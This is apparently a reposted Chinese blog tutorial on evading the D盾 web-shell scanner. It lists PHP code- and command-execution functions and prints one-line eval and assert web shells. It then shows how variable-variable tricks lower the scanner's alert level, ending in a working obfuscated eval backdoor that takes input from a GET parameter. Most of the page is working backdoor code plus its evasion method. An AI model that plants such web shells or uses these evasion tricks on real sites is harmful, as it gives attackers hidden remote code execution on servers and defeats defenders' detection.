webshell繞過D盾


PHP常見的代碼執行函數:

eval()
assert()
preg_replace()
create_function()
array_map()
call_user_func()
call_user_func_array()
array_filter
usort
uasort()

PHP常見的命令執行函數

system()
exec()
shell_exec()
passthru()
pcntl_exec()
popen()
proc_open()

常見的一句話

<?php eval($_POST['a']);?>
<?php assert(@$_POST['a']); ?>

可以看出直接就是5級eval后門,
如果把$_POST['a']換成一個變量,D盾的級別成了4級,如下圖:

如果把$a在變為一個定義好的變量,級別就會變成1,所以是eval后門,因為參數的問題,D盾也有說明

所以,可以用可變變量,可變變量是一種PHP獨特的變量,他允許動態改變一個變量的名稱。故加入到一句話木馬中

<?php
$a = 'qq';
$$a = $_GET['a'];
eval($ww);
?>

如圖發現,說參數ww是未知內容了,那么直接在第一行定義一下ww試試

成了可疑eval,剩下的利用php相關的特性和連接符,或者注釋符,即可繞過

<?php
$ww = "nice";
$a = 'ww';
$$a = $_GET['a'];
echo eval($ww);
?>


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM